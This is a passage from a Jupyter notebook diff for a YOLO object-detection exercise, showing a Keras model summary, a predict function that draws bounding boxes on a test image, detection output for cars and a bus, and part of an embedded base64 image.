batch_normalization_12[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_13 (Conv2D) (None, 38, 38, 512) 1179648 leaky_re_lu_12[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_13 (BatchNor (None, 38, 38, 512) 2048 conv2d_13[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_13 (LeakyReLU) (None, 38, 38, 512) 0 batch_normalization_13[0][0] \n", + "____________________________________________________________________________________________________\n", + "max_pooling2d_5 (MaxPooling2D) (None, 19, 19, 512) 0 leaky_re_lu_13[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_14 (Conv2D) (None, 19, 19, 1024) 4718592 max_pooling2d_5[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_14 (BatchNor (None, 19, 19, 1024) 4096 conv2d_14[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_14 (LeakyReLU) (None, 19, 19, 1024) 0 batch_normalization_14[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_15 (Conv2D) (None, 19, 19, 512) 524288 leaky_re_lu_14[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_15 (BatchNor (None, 19, 19, 512) 2048 conv2d_15[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_15 (LeakyReLU) (None, 19, 19, 512) 0 batch_normalization_15[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_16 (Conv2D) (None, 19, 19, 1024) 4718592 leaky_re_lu_15[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_16 (BatchNor (None, 19, 19, 1024) 4096 conv2d_16[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_16 (LeakyReLU) (None, 19, 19, 1024) 0 batch_normalization_16[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_17 (Conv2D) (None, 19, 19, 512) 524288 leaky_re_lu_16[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_17 (BatchNor (None, 19, 19, 512) 2048 conv2d_17[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_17 (LeakyReLU) (None, 19, 19, 512) 0 batch_normalization_17[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_18 (Conv2D) (None, 19, 19, 1024) 4718592 leaky_re_lu_17[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_18 (BatchNor (None, 19, 19, 1024) 4096 conv2d_18[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_18 (LeakyReLU) (None, 19, 19, 1024) 0 batch_normalization_18[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_19 (Conv2D) (None, 19, 19, 1024) 9437184 leaky_re_lu_18[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_19 (BatchNor (None, 19, 19, 1024) 4096 conv2d_19[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_21 (Conv2D) (None, 38, 38, 64) 32768 leaky_re_lu_13[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_19 (LeakyReLU) (None, 19, 19, 1024) 0 batch_normalization_19[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_21 (BatchNor (None, 38, 38, 64) 256 conv2d_21[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_20 (Conv2D) (None, 19, 19, 1024) 9437184 leaky_re_lu_19[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_21 (LeakyReLU) (None, 38, 38, 64) 0 batch_normalization_21[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_20 (BatchNor (None, 19, 19, 1024) 4096 conv2d_20[0][0] \n", + "____________________________________________________________________________________________________\n", + "space_to_depth_x2 (Lambda) (None, 19, 19, 256) 0 leaky_re_lu_21[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_20 (LeakyReLU) (None, 19, 19, 1024) 0 batch_normalization_20[0][0] \n", + "____________________________________________________________________________________________________\n", + "concatenate_1 (Concatenate) (None, 19, 19, 1280) 0 space_to_depth_x2[0][0] \n", + " leaky_re_lu_20[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_22 (Conv2D) (None, 19, 19, 1024) 11796480 concatenate_1[0][0] \n", + "____________________________________________________________________________________________________\n", + "batch_normalization_22 (BatchNor (None, 19, 19, 1024) 4096 conv2d_22[0][0] \n", + "____________________________________________________________________________________________________\n", + "leaky_re_lu_22 (LeakyReLU) (None, 19, 19, 1024) 0 batch_normalization_22[0][0] \n", + "____________________________________________________________________________________________________\n", + "conv2d_23 (Conv2D) (None, 19, 19, 425) 435625 leaky_re_lu_22[0][0] \n", + "====================================================================================================\n", + "Total params: 50,983,561\n", + "Trainable params: 50,962,889\n", + "Non-trainable params: 20,672\n", + "____________________________________________________________________________________________________\n" + ] + } + ], + "source": [ + "yolo_model.summary()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "You added `yolo_outputs` to your graph. This set of 4 tensors is ready to be used as input by your `yolo_eval` function." + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": { + "collapsed": true + }, + "outputs": [], + "source": [ + "scores, boxes, classes = yolo_eval(yolo_outputs, image_shape)" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": { + "collapsed": true + }, + "outputs": [], + "source": [ + "def predict(sess, image_file):\n", + "\n", + " image, image_data = preprocess_image(\"images/\" + image_file, model_image_size = (608, 608))\n", + " out_scores, out_boxes, out_classes = sess.run([scores, boxes, classes], feed_dict={yolo_model.input: image_data, K.learning_phase(): 0})\n", + " print('Found {} boxes for {}'.format(len(out_boxes), image_file))\n", + " colors = generate_colors(class_names)\n", + " draw_boxes(image, out_scores, out_boxes, out_classes, class_names, colors)\n", + " image.save(os.path.join(\"out\", image_file), quality=90)\n", + " output_image = scipy.misc.imread(os.path.join(\"out\", image_file))\n", + " imshow(output_image)\n", + " \n", + " return out_scores, out_boxes, out_classes" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": { + "scrolled": false + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Found 7 boxes for test.jpg\n", + "car 0.60 (925, 285) (1045, 374)\n", + "car 0.66 (706, 279) (786, 350)\n", + "bus 0.67 (5, 266) (220, 407)\n", + "car 0.70 (947, 324) (1280, 705)\n", + "car 0.74 (159, 303) (346, 440)\n", + "car 0.80 (761, 282) (942, 412)\n", + "car 0.89 (367, 300) (745, 648)\n" + ] + }, + { + "data": { + "image/png": "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